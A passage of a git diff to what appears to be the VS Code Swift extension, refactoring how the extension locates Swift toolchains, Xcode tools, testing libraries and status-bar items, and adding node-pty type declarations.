* @returns The path to the `lldb-dap` executable + * @throws Throws an error if the executable cannot be found + */ + public async getLLDBDebugAdapter(): Promise { + return this.findToolchainOrXcodeExecutable("lldb-dap"); + } + + /** + * Search for the supplied executable in the toolchain. + * If the user is on macOS and has no OSS toolchain selected, also + * search inside Xcode. + */ + private async findToolchainOrXcodeExecutable(executable: string): Promise { + if (process.platform === "win32") { + executable += ".exe"; + } + const toolchainExecutablePath = path.join(this.swiftFolderPath, executable); + + if (await pathExists(toolchainExecutablePath)) { + return toolchainExecutablePath; + } + + if (process.platform !== "darwin") { + throw new Error( + `Failed to find ${executable} within Swift toolchain '${this.toolchainPath}'` + ); + } + return this.findXcodeExecutable(executable); + } + + private async findXcodeExecutable(executable: string): Promise { + const xcodeDirectory = SwiftToolchain.getXcodeDirectory(this.toolchainPath); + if (!xcodeDirectory) { + throw new Error( + `Failed to find ${executable} within Swift toolchain '${this.toolchainPath}'` + ); + } + try { + const { stdout } = await execFile("xcrun", ["-find", executable], { + env: { ...process.env, DEVELOPER_DIR: xcodeDirectory }, + }); + return stdout.trimEnd(); + } catch (error) { + let errorMessage = `Failed to find ${executable} within Xcode Swift toolchain '${xcodeDirectory}'`; + if (error instanceof Error) { + errorMessage += `:\n${error.message}`; + } + throw new Error(errorMessage); + } + } + + private basePlatformDeveloperPath(): string | undefined { + const sdk = this.customSDK ?? this.defaultSDK; + if (!sdk) { + return undefined; + } + return path.resolve(sdk, "../../"); + } + + /** + * Library path for swift-testing executables + */ + public swiftTestingLibraryPath(): string | undefined { + let result = ""; + const base = this.basePlatformDeveloperPath(); + if (base) { + result = `${path.join(base, "usr/lib")}:`; + } + return `${result}${path.join(this.toolchainPath, "lib/swift/macosx/testing")}`; + } + + /** + * Framework path for swift-testing executables + */ + public swiftTestingFrameworkPath(): string | undefined { + const base = this.basePlatformDeveloperPath(); + if (!base) { + return undefined; + } + const frameworks = path.join(base, "Library/Frameworks"); + const privateFrameworks = path.join(base, "Library/PrivateFrameworks"); + return `${frameworks}:${privateFrameworks}`; + } + + get diagnostics(): string { + let str = ""; + str += this.swiftVersionString; + str += `\nPlatform: ${process.platform}`; + str += `\nVS Code Version: ${vscode.version}`; + str += `\nSwift Path: ${this.swiftFolderPath}`; + str += `\nToolchain Path: ${this.toolchainPath}`; if (this.runtimePath) { - channel.logDiagnostic(`Runtime Library Path: ${this.runtimePath}`); + str += `\nRuntime Library Path: ${this.runtimePath}`; } - if (this.defaultTarget) { - channel.logDiagnostic(`Default Target: ${this.defaultTarget}`); + if (this.targetInfo.target?.triple) { + str += `\nDefault Target: ${this.targetInfo.target?.triple}`; } if (this.defaultSDK) { - channel.logDiagnostic(`Default SDK: ${this.defaultSDK}`); + str += `\nDefault SDK: ${this.defaultSDK}`; } if (this.customSDK) { - channel.logDiagnostic(`Custom SDK: ${this.customSDK}`); + str += `\nCustom SDK: ${this.customSDK}`; } if (this.xcTestPath) { - channel.logDiagnostic(`XCTest Path: ${this.xcTestPath}`); + str += `\nXCTest Path: ${this.xcTestPath}`; } + return str; } - private static async getSwiftFolderPath(): Promise { - if (configuration.path !== "") { - return configuration.path; - } + logDiagnostics(logger: SwiftLogger) { + logger.debug(this.diagnostics); + } + + private static async getSwiftFolderPath( + cwd?: vscode.Uri, + logger?: SwiftLogger + ): Promise<{ path: string; isSwiftlyManaged: boolean }> { try { let swift: string; - switch (process.platform) { - case "darwin": { - const { stdout } = await execFile("which", ["swift"]); - swift = stdout.trimEnd(); - break; - } - case "win32": { - const { stdout } = await execFile("where", ["swift"]); - swift = stdout.trimEnd(); - break; - } - default: { - // use `type swift` to find `swift`. Run inside /bin/sh to ensure - // we get consistent output as different shells output a different - // format. Tried running with `-p` but that is not available in /bin/sh - const { stdout } = await execFile("/bin/sh", ["-c", "LCMESSAGES=C type swift"]); - const swiftMatch = /^swift is (.*)$/.exec(stdout.trimEnd()); - if (swiftMatch) { - swift = swiftMatch[1]; - } else { - throw Error("Failed to find swift executable"); + if (configuration.path !== "") { + const windowsExeSuffix = process.platform === "win32" ? ".exe" : ""; + swift = path.join(configuration.path, `swift${windowsExeSuffix}`); + } else { + switch (process.platform) { + case "darwin": { + const { stdout } = await execFile("which", ["swift"]); + swift = stdout.trimEnd(); + break; + } + case "win32": { + const { stdout } = await execFile("where", ["swift"]); + const paths = stdout.trimEnd().split("\r\n"); + if (paths.length > 1) { + void vscode.window.showWarningMessage( + `Found multiple swift executables in in %PATH%. Using excutable found at ${paths[0]}` + ); + } + swift = paths[0]; + break; + } + default: { + swift = await findBinaryPath("swift"); + break; } - break; } } // swift may be a symbolic link - const realSwift = await fs.realpath(swift); - return path.dirname(realSwift); - } catch { + let realSwift = await fs.realpath(swift); + let isSwiftlyManaged = false; + + if (path.basename(realSwift) === "swiftly") { + try { + const inUse = await Swiftly.inUseLocation(realSwift, cwd); + if (inUse) { + realSwift = path.join(inUse, "usr", "bin", "swift"); + isSwiftlyManaged = true; + } + } catch { + // Ignore, will fall back to original path + } + } + const swiftPath = expandFilePathTilde(path.dirname(realSwift)); + return { + path: await this.getSwiftEnvPath(swiftPath), + isSwiftlyManaged, + }; + } catch (error) { + logger?.error(`Failed to find swift executable: ${error}`); throw Error("Failed to find swift executable"); } } /** - * @returns path to Toolchain folder + * swiftenv is a popular way to install swift on Linux. It uses shim shell scripts + * for all of the swift executables. This is problematic when we are trying to find + * the lldb version. Also swiftenv can also change the swift version beneath which + * could cause problems. This function will return the actual path to the swift + * executable instead of the shim version + * @param swiftPath Path to swift folder + * @returns Path to swift folder installed by swiftenv */ - private static async getToolchainPath(swiftPath: string): Promise { - if (configuration.path !== "") { - return path.dirname(path.dirname(configuration.path)); + private static async getSwiftEnvPath(swiftPath: string): Promise { + if (process.platform === "linux" && swiftPath.endsWith(".swiftenv/shims")) { + try { + const swiftenvPath = path.dirname(swiftPath); + const swiftenv = path.join(swiftenvPath, "libexec", "swiftenv"); + const { stdout } = await execFile(swiftenv, ["which", "swift"]); + const swift = stdout.trimEnd(); + return path.dirname(swift); + } catch { + return swiftPath; + } + } else { + return swiftPath; } + } + + /** + * @returns path to Toolchain folder + */ + private static async getToolchainPath( + swiftPath: string, + extensionRoot: string, + cwd?: vscode.Uri, + logger?: SwiftLogger + ): Promise { try { switch (process.platform) { case "darwin": { - const { stdout } = await execFile("xcrun", ["--find", "swift"]); + const configPath = configuration.path; + if (configPath !== "") { + const swiftlyPath = path.join(configPath, "swiftly"); + if (await fileExists(swiftlyPath)) { + try { + const inUse = await Swiftly.inUseLocation(swiftlyPath, cwd); + if (inUse) { + return path.join(inUse, "usr"); + } + } catch { + // Ignore, will fall back to original path + } + } + return path.dirname(configuration.path); + } + + const swiftlyToolchainLocation = await Swiftly.toolchain( + extensionRoot, + logger, + cwd + ); + if (swiftlyToolchainLocation) { + return swiftlyToolchainLocation; + } + + const { stdout } = await execFile("xcrun", ["--find", "swift"], { + env: configuration.swiftEnvironmentVariables, + }); const swift = stdout.trimEnd(); - return path.dirname(path.dirname(path.dirname(swift))); + return path.dirname(path.dirname(swift)); } default: { - return path.dirname(path.dirname(path.dirname(swiftPath))); + return path.dirname(swiftPath); } } } catch { @@ -195,8 +695,8 @@ export class SwiftToolchain { if (process.env.SDKROOT) { return process.env.SDKROOT; } - const { stdout } = await execFile("xcrun", ["--sdk", "macosx", "--show-sdk-path"]); - return path.join(stdout.trimEnd()); + + return this.getSDKPath("macosx"); } case "win32": { return process.env.SDKROOT; @@ -212,6 +712,62 @@ export class SwiftToolchain { return configuration.sdk !== "" ? configuration.sdk : undefined; } + /** + * @returns path to the swiftpm-testing-helper binary, if it exists. + */ + private static async getSwiftPMTestingHelperPath( + toolchainPath: string + ): Promise { + if (process.platform === "darwin") { + const toolchainSwiftPMHelperPath = path.join( + toolchainPath, + "libexec", + "swift", + "pm", + "swiftpm-testing-helper" + ); + + // Verify that the helper exists. Older toolchains wont have it and thats ok, + // it just means that XCTests and swift-testing tests exist in their own binaries + // and can each be run separately. If this path exists we know the tests exist in + // a unified binary and we need to use this utility to run the swift-testing tests + // on macOS. XCTests are still run with the xctest utility on macOS. The test binaries + // can be invoked directly on Linux/Windows. + if (await this.fileExists(toolchainSwiftPMHelperPath)) { + return toolchainSwiftPMHelperPath; + } + } + + return undefined; + } + + /** + * @param targetInfo swift target info + * @param swiftVersion parsed swift version + * @param runtimePath path to Swift runtime + * @param sdkroot path to swift SDK + * @returns path to folder where xctest can be found + */ + private static async getSwiftTestingPath( + targetInfo: SwiftTargetInfo, + swiftVersion: Version, + runtimePath: string | undefined, + sdkroot: string | undefined, + logger?: SwiftLogger + ): Promise { + if (process.platform !== "win32") { + return undefined; + } + return this.getWindowsPlatformDLLPath( + "Testing", + targetInfo, + swiftVersion, + runtimePath, + sdkroot, + logger + ); + } + /** * @param targetInfo swift target info * @param swiftVersion parsed swift version @@ -221,95 +777,148 @@ export class SwiftToolchain { */ private static async getXCTestPath( targetInfo: SwiftTargetInfo, + swiftFolderPath: string, swiftVersion: Version, runtimePath: string | undefined, - sdkroot: string | undefined + sdkroot: string | undefined, + logger?: SwiftLogger ): Promise { switch (process.platform) { case "darwin": { - const { stdout } = await execFile("xcode-select", ["-p"]); - return path.join(stdout.trimEnd(), "usr", "bin"); + const xcodeDirectory = this.getXcodeDirectory(swiftFolderPath); + const swiftEnvironmentVariables = configuration.swiftEnvironmentVariables; + if (xcodeDirectory && !("DEVELOPER_DIR" in swiftEnvironmentVariables)) { + swiftEnvironmentVariables["DEVELOPER_DIR"] = xcodeDirectory; + } + const developerDir = await this.getXcodeDeveloperDir(swiftEnvironmentVariables); + return path.join(developerDir, "usr", "bin"); } case "win32": { - // look up runtime library directory for XCTest alternatively - const fallbackPath = - runtimePath !== undefined && - (await pathExists(path.join(runtimePath, "XCTest.dll"))) - ? runtimePath - : undefined; - if (!sdkroot) { - return fallbackPath; - } - const platformPath = path.dirname(path.dirname(path.dirname(sdkroot))); - const platformManifest = path.join(platformPath, "Info.plist"); - if ((await pathExists(platformManifest)) !== true) { - if (fallbackPath) { - return fallbackPath; - } - vscode.window.showWarningMessage( - "XCTest not found due to non-standardized library layout. Tests explorer won't work as expected." - ); - return undefined; - } - const data = await fs.readFile(platformManifest, "utf8"); - const infoPlist = plist.parse(data) as unknown as InfoPlist; - const version = infoPlist.DefaultProperties.XCTEST_VERSION; - if (!version) { - throw Error("Info.plist is missing the XCTEST_VERSION key."); - } - - if (swiftVersion >= new Version(5, 7, 0)) { - let bindir: string; - const arch = targetInfo.target?.triple.split("-", 1)[0]; - switch (arch) { - case "x86_64": - bindir = "bin64"; - break; - case "i686": - bindir = "bin32"; - break; - case "aarch64": - bindir = "bin64a"; - break; - default: - throw Error(`unsupported architecture ${arch}`); - } - return path.join( - platformPath, - "Developer", - "Library", - `XCTest-${version}`, - "usr", - bindir - ); - } else { - return path.join( - platformPath, - "Developer", - "Library", - `XCTest-${version}`, - "usr", - "bin" - ); - } + return await this.getWindowsPlatformDLLPath( + "XCTest", + targetInfo, + swiftVersion, + runtimePath, + sdkroot, + logger + ); } } return undefined; } + private static async getWindowsPlatformDLLPath( + type: "XCTest" | "Testing", + targetInfo: SwiftTargetInfo, + swiftVersion: Version, + runtimePath: string | undefined, + sdkroot: string | undefined, + logger?: SwiftLogger + ): Promise { + // look up runtime library directory for XCTest/Testing alternatively + const fallbackPath = + runtimePath !== undefined && (await pathExists(path.join(runtimePath, `${type}.dll`))) + ? runtimePath + : undefined; + if (!sdkroot) { + return fallbackPath; + } + + const platformPath = path.dirname(path.dirname(path.dirname(sdkroot))); + const platformManifest = path.join(platformPath, "Info.plist"); + if ((await pathExists(platformManifest)) !== true) { + if (fallbackPath) { + return fallbackPath; + } + void vscode.window.showWarningMessage( + `${type} not found due to non-standardized library layout. Tests explorer won't work as expected.` + ); + return undefined; + } + const data = await fs.readFile(platformManifest, "utf8"); + let infoPlist; + try { + infoPlist = plist.parse(data) as unknown as InfoPlist; + } catch (error) { + void vscode.window.showWarningMessage(`Unable to parse ${platformManifest}: ${error}`); + return undefined; + } + const plistKey = type === "XCTest" ? "XCTEST_VERSION" : "SWIFT_TESTING_VERSION"; + const version = infoPlist.DefaultProperties[plistKey]; + if (!version) { + logger?.warn(`${platformManifest} is missing the ${plistKey} key.`); + return undefined; + } + + if (swiftVersion.isGreaterThanOrEqual(new Version(5, 7, 0))) { + let bindir: string; + const arch = targetInfo.target?.triple.split("-", 1)[0]; + switch (arch) { + case "x86_64": + bindir = "bin64"; + break; + case "i686": + bindir = "bin32"; + break; + case "aarch64": + bindir = "bin64a"; + break; + default: + throw Error(`unsupported architecture ${arch}`); + } + return path.join( + platformPath, + "Developer", + "Library", + `${type}-${version}`, + "usr", + bindir + ); + } else { + return path.join( + platformPath, + "Developer", + "Library", + `${type}-${version}`, + "usr", + "bin" + ); + } + } + /** @returns swift target info */ - private static async getSwiftTargetInfo(): Promise { + private static async getSwiftTargetInfo( + swiftExecutable: string, + logger?: SwiftLogger + ): Promise { try { - const { stdout } = await execSwift(["-print-target-info"]); - const targetInfo = JSON.parse(stdout.trimEnd()) as SwiftTargetInfo; - // workaround for Swift 5.3 and older toolchains - if (targetInfo.compilerVersion === undefined) { - const { stdout } = await execSwift(["--version"]); - targetInfo.compilerVersion = stdout.split("\n", 1)[0]; + try { + const { stdout } = await execSwift(["-print-target-info"], { swiftExecutable }); + const targetInfo = JSON.parse(stdout.trimEnd()) as SwiftTargetInfo; + if (!targetInfo.target) { + logger?.warn( + `No target found in toolchain, targetInfo was: ${JSON.stringify(targetInfo)}` + ); + } + + if (targetInfo.compilerVersion) { + return targetInfo; + } + } catch (error) { + // hit error while running `swift -print-target-info`. We are possibly running + // a version of swift 5.3 or older + logger?.warn(`Error while running 'swift -print-target-info': ${error}`); } - return targetInfo; - } catch { - throw Error("Cannot parse swift target info output."); + const { stdout } = await execSwift(["--version"], { swiftExecutable }); + return { + compilerVersion: stdout.split(lineBreakRegex, 1)[0], + paths: { runtimeLibraryPaths: [""] }, + }; + } catch (error) { + logger?.warn(`Error while running 'swift --version': ${error}`); + throw Error( + "Failed to get swift version from either '-print-target-info' or '--version'." + ); } } @@ -325,4 +934,17 @@ export class SwiftToolchain { } return version ?? new Version(0, 0, 0); } + + /** + * Check if a file exists. + * @returns true if the file exists at the supplied path + */ + private static async fileExists(path: string): Promise { + try { + await fs.access(path, fs.constants.F_OK); + return true; + } catch { + return false; + } + } } diff --git a/src/tsconfig.json b/src/tsconfig.json new file mode 100644 index 000000000..9d2de8c5b --- /dev/null +++ b/src/tsconfig.json @@ -0,0 +1,9 @@ +{ + "extends": "../tsconfig-base.json", + "compilerOptions": { + "types": ["node"] + }, + "include": ["**/*"], + "exclude": ["documentation/webview/**/*"], + "references": [{ "path": "./documentation/webview" }] +} diff --git a/src/typings/node-pty.d.ts b/src/typings/node-pty.d.ts new file mode 100644 index 000000000..d53986940 --- /dev/null +++ b/src/typings/node-pty.d.ts @@ -0,0 +1,216 @@ +/** + * Copyright (c) 2017, Daniel Imms (MIT License). + * Copyright (c) 2018, Microsoft Corporation (MIT License). + */ + +// Downloaded from https://github.com/microsoft/node-pty/blob/main/typings/node-pty.d.ts + +declare module "node-pty" { + /** + * Forks a process as a pseudoterminal. + * @param file The file to launch. + * @param args The file's arguments as argv (string[]) or in a pre-escaped CommandLine format + * (string). Note that the CommandLine option is only available on Windows and is expected to be + * escaped properly. + * @param options The options of the terminal. + * @see CommandLineToArgvW https://msdn.microsoft.com/en-us/library/windows/desktop/bb776391(v=vs.85).aspx + * @see Parsing C++ Comamnd-Line Arguments https://msdn.microsoft.com/en-us/library/17w5ykft.aspx + * @see GetCommandLine https://msdn.microsoft.com/en-us/library/windows/desktop/ms683156.aspx + */ + export function spawn( + file: string, + args: string[] | string, + options: IPtyForkOptions | IWindowsPtyForkOptions + ): IPty; + + export interface IBasePtyForkOptions { + /** + * Name of the terminal to be set in environment ($TERM variable). + */ + name?: string; + + /** + * Number of intial cols of the pty. + */ + cols?: number; + + /** + * Number of initial rows of the pty. + */ + rows?: number; + + /** + * Working directory to be set for the child program. + */ + cwd?: string; + + /** + * Environment to be set for the child program. + */ + env?: { [key: string]: string | undefined }; + + /** + * String encoding of the underlying pty. + * If set, incoming data will be decoded to strings and outgoing strings to bytes applying this encoding. + * If unset, incoming data will be delivered as raw bytes (Buffer type). + * By default 'utf8' is assumed, to unset it explicitly set it to `null`. + */ + encoding?: string | null; + + /** + * (EXPERIMENTAL) + * Whether to enable flow control handling (false by default). If enabled a message of `flowControlPause` + * will pause the socket and thus blocking the child program execution due to buffer back pressure. + * A message of `flowControlResume` will resume the socket into flow mode. + * For performance reasons only a single message as a whole will match (no message part matching). + * If flow control is enabled the `flowControlPause` and `flowControlResume` messages are not forwarded to + * the underlying pseudoterminal. + */ + handleFlowControl?: boolean; + + /** + * (EXPERIMENTAL) + * The string that should pause the pty when `handleFlowControl` is true. Default is XOFF ('\x13'). + */ + flowControlPause?: string; + + /** + * (EXPERIMENTAL) + * The string that should resume the pty when `handleFlowControl` is true. Default is XON ('\x11'). + */ + flowControlResume?: string; + } + + export interface IPtyForkOptions extends IBasePtyForkOptions { + /** + * Security warning: use this option with great caution, + * as opened file descriptors with higher privileges might leak to the child program. + */ + uid?: number; + gid?: number; + } + + export interface IWindowsPtyForkOptions extends IBasePtyForkOptions { + /** + * Whether to use the ConPTY system on Windows. When this is not set, ConPTY will be used when + * the Windows build number is >= 18309 (instead of winpty). Note that ConPTY is available from + * build 17134 but is too unstable to enable by default. + * + * This setting does nothing on non-Windows. + */ + useConpty?: boolean; + + /** + * (EXPERIMENTAL) + * + * Whether to use the conpty.dll shipped with the node-pty package instead of the one built into + * Windows. Defaults to false. + */ + useConptyDll?: boolean; + + /** + * Whether to use PSEUDOCONSOLE_INHERIT_CURSOR in conpty. + * @see https://docs.microsoft.com/en-us/windows/console/createpseudoconsole + */ + conptyInheritCursor?: boolean; + } + + /** + * An interface representing a pseudoterminal, on Windows this is emulated via the winpty library. + */ + export interface IPty { + /** + * The process ID of the outer process. + */ + readonly pid: number; + + /** + * The column size in characters. + */ + readonly cols: number; + + /** + * The row size in characters. + */ + readonly rows: number; + + /** + * The title of the active process. + */ + readonly process: string; + + /** + * (EXPERIMENTAL) + * Whether to handle flow control. Useful to disable/re-enable flow control during runtime. + * Use this for binary data that is likely to contain the `flowControlPause` string by accident. + */ + handleFlowControl: boolean; + + /** + * Adds an event listener for when a data event fires. This happens when data is returned from + * the pty. + * @returns an `IDisposable` to stop listening. + */ + readonly onData: IEvent; + + /** + * Adds an event listener for when an exit event fires. This happens when the pty exits. + * @returns an `IDisposable` to stop listening. + */ + readonly onExit: IEvent<{ exitCode: number; signal?: number }>; + + /** + * Resizes the dimensions of the pty. + * @param columns The number of columns to use. + * @param rows The number of rows to use. + */ + resize(columns: number, rows: number): void; + + /** + * Clears the pty's internal representation of its buffer. This is a no-op + * unless on Windows/ConPTY. This is useful if the buffer is cleared on the + * frontend in order to synchronize state with the backend to avoid ConPTY + * possibly reprinting the screen. + */ + clear(): void; + + /** + * Writes data to the pty. + * @param data The data to write. + */ + write(data: string): void; + + /** + * Kills the pty. + * @param signal The signal to use, defaults to SIGHUP. This parameter is not supported on + * Windows. + * @throws Will throw when signal is used on Windows. + */ + kill(signal?: string): void; + + /** + * Pauses the pty for customizable flow control. + */ + pause(): void; + + /** + * Resumes the pty for customizable flow control. + */ + resume(): void; + } + + /** + * An object that can be disposed via a dispose function. + */ + export interface IDisposable { + dispose(): void; + } + + /** + * An event that can be listened to. + * @returns an `IDisposable` to stop listening. + */ + export interface IEvent { + (listener: (e: T) => any): IDisposable; + } +} diff --git a/src/ui/LanguageStatusItems.ts b/src/ui/LanguageStatusItems.ts index 8ba8b43f7..746e04592 100644 --- a/src/ui/LanguageStatusItems.ts +++ b/src/ui/LanguageStatusItems.ts @@ -1,70 +1,80 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2022 the VSCode Swift project authors +// Copyright (c) 2022 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import { Command } from "vscode-languageclient"; -import { WorkspaceContext, FolderEvent } from "../WorkspaceContext"; - -export class LanguageStatusItems implements vscode.Disposable { - /** Document selector defining when items should be displayed */ - static documentSelector: vscode.DocumentSelector = [ - { scheme: "file", language: "swift" }, - { scheme: "untitled", language: "swift" }, - { scheme: "file", language: "c" }, - { scheme: "untitled", language: "c" }, - { scheme: "file", language: "cpp" }, - { scheme: "untitled", language: "cpp" }, - { scheme: "file", language: "objective-c" }, - { scheme: "untitled", language: "objective-c" }, - { scheme: "file", language: "objective-cpp" }, - { scheme: "untitled", language: "objective-cpp" }, - ]; - private packageSwiftItem: vscode.LanguageStatusItem; +import { FolderOperation, WorkspaceContext } from "../WorkspaceContext"; +import { Commands } from "../commands"; +import { LanguagerClientDocumentSelectors } from "../sourcekit-lsp/LanguageClientConfiguration"; +export class LanguageStatusItems implements vscode.Disposable { constructor(workspaceContext: WorkspaceContext) { // Swift language version item const swiftVersionItem = vscode.languages.createLanguageStatusItem( "swiftlang-version", - LanguageStatusItems.documentSelector + LanguagerClientDocumentSelectors.allHandledDocumentTypes() ); - swiftVersionItem.text = workspaceContext.toolchain.swiftVersionString; + const toolchain = + workspaceContext.currentFolder?.toolchain ?? workspaceContext.globalToolchain; + swiftVersionItem.text = toolchain.swiftVersionString; + swiftVersionItem.accessibilityInformation = { + label: `Swift Version ${toolchain.swiftVersion.toString()}`, + }; + + swiftVersionItem.command = Command.create("Select Toolchain", Commands.SELECT_TOOLCHAIN); // Package.swift item - this.packageSwiftItem = vscode.languages.createLanguageStatusItem( - "swiftlang-package", - LanguageStatusItems.documentSelector - ); - this.packageSwiftItem.text = "No Package.swift"; + const packageSwiftItem = vscode.languages.createLanguageStatusItem("swiftlang-package", [ + ...LanguagerClientDocumentSelectors.appleLangDocumentSelector, + ...LanguagerClientDocumentSelectors.cFamilyDocumentSelector, + ]); + packageSwiftItem.text = "No Package.swift"; + packageSwiftItem.accessibilityInformation = { label: "There is no Package.swift" }; // Update Package.swift item based on current focus - const onFocus = workspaceContext.observeFolders(async (folder, event) => { - switch (event) { - case FolderEvent.focus: - if (folder) { - this.packageSwiftItem.text = "Package.swift"; - this.packageSwiftItem.command = Command.create( + const onFocus = workspaceContext.onDidChangeFolders(async ({ folder, operation }) => { + switch (operation) { + case FolderOperation.focus: + if (folder && (await folder.swiftPackage.foundPackage)) { + packageSwiftItem.text = "Package.swift"; + packageSwiftItem.command = Command.create( "Open Package", "swift.openPackage" ); + packageSwiftItem.accessibilityInformation = { + label: "Open Package.swift", + }; + + swiftVersionItem.text = folder.toolchain.swiftVersionString; + swiftVersionItem.accessibilityInformation = { + label: `Swift Version ${folder.toolchain.swiftVersion.toString()}`, + }; } else { - this.packageSwiftItem.text = "No Package.swift"; - this.packageSwiftItem.command = undefined; + packageSwiftItem.text = "No Package.swift"; + packageSwiftItem.accessibilityInformation = { + label: "There is no Package.swift", + }; + packageSwiftItem.command = undefined; + + swiftVersionItem.text = workspaceContext.globalToolchain.swiftVersionString; + swiftVersionItem.accessibilityInformation = { + label: `Swift Version ${workspaceContext.globalToolchain.swiftVersion.toString()}`, + }; } } }); - this.subscriptions = [onFocus, swiftVersionItem, this.packageSwiftItem]; + this.subscriptions = [onFocus, swiftVersionItem, packageSwiftItem]; } dispose() { diff --git a/src/ui/PackageDependencyProvider.ts b/src/ui/PackageDependencyProvider.ts deleted file mode 100644 index 707c43335..000000000 --- a/src/ui/PackageDependencyProvider.ts +++ /dev/null @@ -1,264 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as fs from "fs/promises"; -import * as path from "path"; -import configuration from "../configuration"; -import { getRepositoryName, buildDirectoryFromWorkspacePath } from "../utilities/utilities"; -import { WorkspaceContext } from "../WorkspaceContext"; -import { FolderEvent } from "../WorkspaceContext"; -import { FolderContext } from "../FolderContext"; -import contextKeys from "../contextKeys"; -import { Version } from "../utilities/version"; - -/** - * References: - * - * - Contributing views: - * https://code.visualstudio.com/api/references/contribution-points#contributes.views - * - Contributing welcome views: - * https://code.visualstudio.com/api/references/contribution-points#contributes.viewsWelcome - * - Implementing a TreeView: - * https://code.visualstudio.com/api/extension-guides/tree-view - */ - -/** - * A package in the Package Dependencies {@link vscode.TreeView TreeView}. - */ -export class PackageNode { - constructor( - public name: string, - public path: string, - public version: string, - public type: "local" | "remote" | "editing" - ) {} - - toTreeItem(): vscode.TreeItem { - const item = new vscode.TreeItem(this.name, vscode.TreeItemCollapsibleState.Collapsed); - item.id = this.path; - item.description = this.version; - item.iconPath = - this.type === "editing" - ? new vscode.ThemeIcon("edit") - : new vscode.ThemeIcon("archive"); - item.contextValue = this.type; - return item; - } -} - -/** - * A file or directory in the Package Dependencies {@link vscode.TreeView TreeView}. - */ -class FileNode { - constructor(public name: string, public path: string, public isDirectory: boolean) {} - - toTreeItem(): vscode.TreeItem { - const item = new vscode.TreeItem( - this.name, - this.isDirectory - ? vscode.TreeItemCollapsibleState.Collapsed - : vscode.TreeItemCollapsibleState.None - ); - item.id = this.path; - item.resourceUri = vscode.Uri.file(this.path); - if (!this.isDirectory) { - item.command = { - command: "vscode.open", - arguments: [item.resourceUri], - title: "Open File", - }; - } - return item; - } -} - -/** - * A node in the Package Dependencies {@link vscode.TreeView TreeView}. - * - * Can be either a {@link PackageNode} or a {@link FileNode}. - */ -type TreeNode = PackageNode | FileNode; - -/** - * A {@link vscode.TreeDataProvider TreeDataProvider} for the Package Dependencies {@link vscode.TreeView TreeView}. - */ -export class PackageDependenciesProvider implements vscode.TreeDataProvider { - private didChangeTreeDataEmitter = new vscode.EventEmitter< - TreeNode | undefined | null | void - >(); - private workspaceObserver?: vscode.Disposable; - - onDidChangeTreeData = this.didChangeTreeDataEmitter.event; - - constructor(private workspaceContext: WorkspaceContext) { - // default context key to false. These will be updated as folders are given focus - contextKeys.hasPackage = false; - contextKeys.packageHasDependencies = false; - } - - dispose() { - this.workspaceObserver?.dispose(); - } - - observeFolders(treeView: vscode.TreeView) { - this.workspaceObserver = this.workspaceContext.observeFolders((folder, event) => { - switch (event) { - case FolderEvent.focus: - if (!folder) { - return; - } - treeView.title = `Package Dependencies (${folder.name})`; - this.didChangeTreeDataEmitter.fire(); - break; - case FolderEvent.unfocus: - treeView.title = `Package Dependencies`; - this.didChangeTreeDataEmitter.fire(); - break; - case FolderEvent.resolvedUpdated: - if (!folder) { - return; - } - if (folder === this.workspaceContext.currentFolder) { - this.didChangeTreeDataEmitter.fire(); - } - } - }); - } - - getTreeItem(element: TreeNode): vscode.TreeItem { - return element.toTreeItem(); - } - - async getChildren(element?: TreeNode): Promise { - const folderContext = this.workspaceContext.currentFolder; - if (!folderContext) { - return []; - } - if (!element) { - // Build PackageNodes for all dependencies. Because Package.resolved might not - // be up to date with edited dependency list, we need to remove the edited - // dependencies from the list before adding in the edit version - const children = [ - ...this.getLocalDependencies(folderContext), - ...this.getRemoteDependencies(folderContext), - ]; - const editedChildren = await this.getEditedDependencies(folderContext); - const uneditedChildren: PackageNode[] = []; - for (const child of children) { - const editedVersion = editedChildren.find(item => item.name === child.name); - if (!editedVersion) { - uneditedChildren.push(child); - } - } - return [...uneditedChildren, ...editedChildren].sort((first, second) => - first.name.localeCompare(second.name) - ); - } - - const buildDirectory = buildDirectoryFromWorkspacePath(folderContext.folder.fsPath, true); - - if (element instanceof PackageNode) { - // Read the contents of a package. - const packagePath = - element.type === "remote" - ? path.join(buildDirectory, "checkouts", getRepositoryName(element.path)) - : element.path; - return this.getNodesInDirectory(packagePath); - } else { - // Read the contents of a directory within a package. - return this.getNodesInDirectory(element.path); - } - } - - /** - * Returns a {@link PackageNode} for every local dependency - * declared in **Package.swift**. - */ - private getLocalDependencies(folderContext: FolderContext): PackageNode[] { - const swiftVersion = folderContext.workspaceContext.toolchain.swiftVersion; - // prior to Swift 5.6 local dependencies had no requirements - if (swiftVersion.isLessThan(new Version(5, 6, 0))) { - return folderContext.swiftPackage.dependencies - .filter(dependency => !dependency.requirement && dependency.url) - .map( - dependency => - new PackageNode(dependency.identity, dependency.url!, "local", "local") - ); - } else { - // since Swift 5.6 local dependencies have `type` `fileSystem` - return folderContext.swiftPackage.dependencies - .filter(dependency => dependency.type === "fileSystem" && dependency.path) - .map( - dependency => - new PackageNode(dependency.identity, dependency.path!, "local", "local") - ); - } - } - - /** - * Returns a {@link PackageNode} for every remote dependency. - */ - private getRemoteDependencies(folderContext: FolderContext): PackageNode[] { - return ( - folderContext.swiftPackage.resolved?.pins.map( - pin => - new PackageNode( - pin.identity, - pin.location, - pin.state.version ?? pin.state.branch ?? pin.state.revision.substring(0, 7), - "remote" - ) - ) ?? [] - ); - } - - /** - * Return list of package dependencies in edit mode - * @param folderContext Folder to get edited dependencies for - * @returns Array of packages - */ - private async getEditedDependencies(folderContext: FolderContext): Promise { - return (await folderContext.getEditedPackages()).map( - item => new PackageNode(item.name, item.folder, "local", "editing") - ); - } - - /** - * Returns a {@link FileNode} for every file or subdirectory - * in the given directory. - */ - private async getNodesInDirectory(directoryPath: string): Promise { - 